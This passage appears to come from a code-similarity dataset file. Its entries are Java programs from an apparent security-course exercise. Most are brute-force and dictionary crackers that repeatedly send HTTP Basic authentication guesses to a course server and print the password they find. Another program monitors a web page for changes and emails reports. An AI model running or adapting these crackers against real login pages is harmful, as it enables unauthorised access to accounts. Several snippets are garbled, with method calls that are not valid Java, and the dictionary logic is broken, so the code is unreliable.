\ casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]\
\ + lowerChars[rightIndex];\n casedPasswords[1] = upperChars[leftIndex]\
\ + upperChars[midIndex] + upperChars[rightIndex];\n casedPasswords[2]\
\ = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n \
\ casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]\
\ + lowerChars[rightIndex];\n casedPasswords[4] = upperChars[leftIndex]\
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[5]\
\ = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n \
\ casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex]\
\ + upperChars[rightIndex];\n casedPasswords[7] = lowerChars[leftIndex]\
\ + upperChars[midIndex] + upperChars[rightIndex];\n }\n \
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[1]\
\ = upperChars[leftIndex] + upperChars[midIndex];\n casedPasswords[2]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[3]\
\ = lowerChars[leftIndex] + upperChars[midIndex];\n }\n \
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\
\ casedPasswords[1] = upperChars[leftIndex];\n }\n \
\ }\n else\t\n {\n if(rightIndex > -1)\n \
\ {\n \n casedPasswords[0] = lowerChars[leftIndex]\
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n }\n \
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n }\n \
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\
\ }\n }\t\n \n \n \n \n \n\
\ if(\"\" != tail)\n \tfor( i = 0; i < casedPasswords.length; i++)\n\
\ \t\tcasedPasswords[i] += tail;\n \n\t if(verbose\
\ == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\
\n return casedPasswords;\n } \n \n\t\n public String [] createCasedPasswords(String\
\ candidate, int scanType)\n {\n \n int candLength = candidate.length();\n\
\ int arrayLength = 2 ^ candLength;\n arrayLength = 1;\n \
\ String [] shortCasedPasswords = new String[1];\n String [] casedPasswords\
\ = null;\n char[] password = new char [candidate.length()];\n \n\
\ \n if(scanType != CrackingConstants.simpleScan)\n candidate.getChars(0,\
\ candidate.length(), password, 0);\n \n \n \n \n\
\ \n \n \n \n \n \n if(scanType\
\ == CrackingConstants.simpleScan)\n {\n \n \n \
\ casedPasswords = new String[1];\n casedPasswords[0] = candidate;\n\
\ }\n else if(candidate.length() == 1)\n {\n casedPasswords\
\ = new String[2];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));\n\
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));\n\
\ \n }\n else if (candidate.length() == 2)\n {\n\
\ casedPasswords = new String[4];\n casedPasswords[0] =\
\ Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n\
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[2]\
\ = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n\
\ casedPasswords[3] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1]));\n \n \
\ }\n else if (candidate.length() == 3)\n {\n casedPasswords\
\ = new String[8];\n casedPasswords[0] = Character.toLowerCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\
\ casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toUpperCase(password[2]);\n casedPasswords[2] = Character.toLowerCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\
\ casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toLowerCase(password[2]);\n casedPasswords[4] = Character.toUpperCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\
\ casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toLowerCase(password[2]);\n casedPasswords[6] = Character.toUpperCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\
\ casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toUpperCase(password[2]);\n \n }\n else\
\ if (candidate.length() > 3)\n {\n casedPasswords = new String[8];\n\
\ String tailCharacters = new String(password, 3, (password.length\
\ - 3));\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[3] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[4] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[5] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[6] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[7] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n \n }\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\
\t printPasswords(casedPasswords);\n\n return casedPasswords;\n\
\ }\n \n \n\t\n private void printPasswords(String [] passwords)\n\
\ {\n if(passwords.length > 0)\n {\n for( i = 0; i\
\ < passwords.length; i++)\t\n {\n System.out.print(passwords[i]\
\ + \"\\t\");\n }\n System.out.println(\"\\n\");\n \
\ }\n } \n \n} \n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\
\ WatchDog extends TimerTask{\n\n private static URL location;\n private static\
\ String email;\n private static int checktime;\n private static Timer timer\
\ = new Timer();\n private BufferedReader input;\n private File checksumFile\
\ = new File(\"chksum.txt\");\n private File temp0000File = new File(\"temp0000\"\
);\n private File kept0000File = new File(\"kept0000\");\n\n \n\n public\
\ WatchDog(){\n timer.schedule(this, new Date(), checktime);\n }\n\n\n\
\ \n\n public void run(){\n Vector imageFiles = new Vector();\n\
\ Vector diffImages = new Vector();\n try {\n System.out.println(\"\
\ Time: \".concat(new Date().toString()));\n System.out.println(\"Retreiving\
\ File\");\n \n input = new BufferedReader(new InputStreamReader\n\
\ (location.openStream()));\n \n\
\ BufferedWriter outputFile = new BufferedWriter\n (new\
\ FileWriter(temp0000File));\n String line = input.readLine();\n \
\ while (line != null) {\n StringBuffer imageFileName = new StringBuffer();\n\
\ if (scanForImages(line, imageFileName)) {\n String imageFile\
\ = new String(imageFileName);\n System.out.println(\"Detected image:\
\ \".concat(imageFile));\n try {\n imageFiles.add(new\
\ URL(imageFile));\n }\n catch (MalformedURLException\
\ e) {\n System.out.println(\"Image file detected. URL is malformed\"\
);\n }\n }\n outputFile.write(line);\n \
\ outputFile.write(\"\\n\");\n line = input.readLine();\n \
\ }\n input.print();\n outputFile.flush();\n \
\ outputFile.print();\n System.out.println(\" File Retreived\");\n \
\ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\
\ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\
\ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\
\ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\
\ generateChecksum(temp0000File.getName(), checksumFile);\n \
\ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\
\ null, null, diffImages);\n }\n }\n\n \n \
\ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\
\ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\
\ e) {\n e.printStackTrace();\n }\n catch (ConnectException\
\ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
\ scanForImages(String line, StringBuffer imageFileName) {\n \n \
\ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\
\ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \
\ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\
\ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\
\ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\
\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\
, quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \
\ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \
\ \n imageFileName.append(line.substring(quote1Pos + 1,\n \
\ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\
\ ) {\n \n String URLName = location.toString();\n\
\ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\
\ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\
.concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\
) == 0) {\n \n }\n else if (imageFileName.charAt(0)\
\ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\
/\"));\n }\n else {\n \n \
\ imageFileName.insert(0, HostName);\n }\n \
\ }\n return true;\n }\n }\n }\n \
\ return false;\n }\n\n \n\n public void checkImages(Vector\
\ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\
Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\
\ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\
\ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\
\ imageInput = new BufferedInputStream\n (url.openStream());\n\
\ String localFile = url.getFile();\n \n \n \
\ \n \n \n int slashPosition = localFile.lastIndexOf(\"\
/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\
\ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\
\ BufferedOutputStream imageOutput = new BufferedOutputStream\n \
\ (new FileOutputStream(localFile));\n byte bytes[] = new\
\ byte[10000];\n int noBytes = imageInput.get(bytes);\n \
\ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\
\ noBytes = imageInput.print(bytes);\n }\n \
\ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \
\ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\
\ {\n diffImages.add(localFile);\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n }\n }\n \
\ catch (FileNotFoundException e) {\n System.out.println(\"Unable \
\ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\
\ \n\n public void generateChecksum(String inputFile, File checksum){\n\
\ try {\n System.out.println(\"Generating new checksum for \"\
.concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\
md5sum \".\n concat(inputFile));\n\
\ BufferedReader execCommand = new BufferedReader(new\n \
\ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\
\ = new\n BufferedWriter(new FileWriter(checksum));\n String\
\ line = execCommand.readLine();\n while (line != null) {\n \
\ outputFile.write(line);\n outputFile.write(\"\\n\");\n \
\ line = execCommand.readLine();\n }\n outputFile.flush();\n\
\ outputFile.print();\n System.out.println(\"Checksum produced\"\
);\n }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
\ checksumOk(File chksumFile){\n try {\n System.out.println(\"\
Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\
\ \n Process process = Runtime.getRuntime().\n \
\ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\
\ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\
\ String line = execCommand.readLine();\n if (line.indexOf(\"\
: OK\") != -1) {\n System.out.println(\" the same\");\n \
\ return true;\n }\n }\n catch (IOException e) {\n \
\ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\
Differences Found\");\n return false;\n }\n\n \n\n public\
\ void reportDifferences(boolean diffsFound, File file1, File file2,\n \
\ Vector images){\n try {\n System.out.println(\"\
Generating difference report\");\n \n Socket emailConnection\
\ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\
\ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\
\ BufferedReader emailInStream = new BufferedReader\n (new\
\ InputStreamReader(emailConnection.getInputStream()));\n String line\
\ = emailInStream.readLine();\n System.out.println(line);\n \
\ if (!line.startsWith(\"220\")) {\n System.out.println\n \
\ (\" error occured connecting email server. Cannot send email.\");\n\
\ }\n else {\n \n \n emailOutStream.write(\"\
HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"250\"\
)) {\n System.out.println\n (\" error occured\
\ connecting email server. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"MAIL FROM: [email protected].\"\
);\n emailOutStream.newLine();\n emailOutStream.flush();\n\
\ line = emailInStream.readLine();\n System.out.println(line);\n\
\ if (!line.startsWith(\"250\")) {\n System.out.println\n\
\ (\" error occured sending email. Cannot send email.\");\n\
\ }\n else {\n emailOutStream.write(\"\
RCPT : \".concat(email));\n emailOutStream.newLine();\n \
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"\
250\")) {\n System.out.println\n (\" error\
\ occured sending email. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"DATA\");\n \
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
\ line = emailInStream.readLine();\n System.out.println(line);\n\
\ if (!line.startsWith(\"354\")) {\n System.out.println\n\
\ (\" error occured sending email. Cannot send email.\"\
);\n }\n emailOutStream.newLine();\n\n \
\ if (!images.isEmpty()) {\n emailOutStream.write\n\
\ (\"Differences were found in the following image \"\
);\n emailOutStream.newLine();\n Enumeration\
\ e = images.elements();\n while (e.hasMoreElements()) {\n\
\ String s = (String) e.nextElement();\n \
\ emailOutStream.write(s);\n emailOutStream.newLine();\n\
\ }\n emailOutStream.newLine();\n \
\ }\n\n if (diffsFound) {\n \
\ \n String command = \"diff \".concat(file1.getName().concat(\"\
\ \")\n .concat(file2.getName()));\n\
\ Process process = Runtime.getRuntime().exec(command);\n \
\ BufferedReader execCommand = new BufferedReader\n \
\ (new InputStreamReader( (process.getInputStream())));\n \
\ line = execCommand.readLine();\n emailOutStream.write(\"\
Diffences found in file\");\n emailOutStream.newLine();\n\
\ while (line != null) {\n System.out.println(line);\n\
\ emailOutStream.write(line);\n emailOutStream.newLine();\n\
\ line = execCommand.readLine();\n }\n\
\ }\n\n \n emailOutStream.newLine();\n\
\ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"\
250\")) {\n System.out.println\n (\"\
\ error occured sending email. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"QUIT\");\n\
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
\ System.out.println(emailInStream.readLine());\n \
\ }\n }\n }\n }\n }\n\
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n\n \n\n public static\
\ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\
Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\
\ }\n try {\n location = new URL(args[0]);\n }\n catch\
\ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\
\ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\
\ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
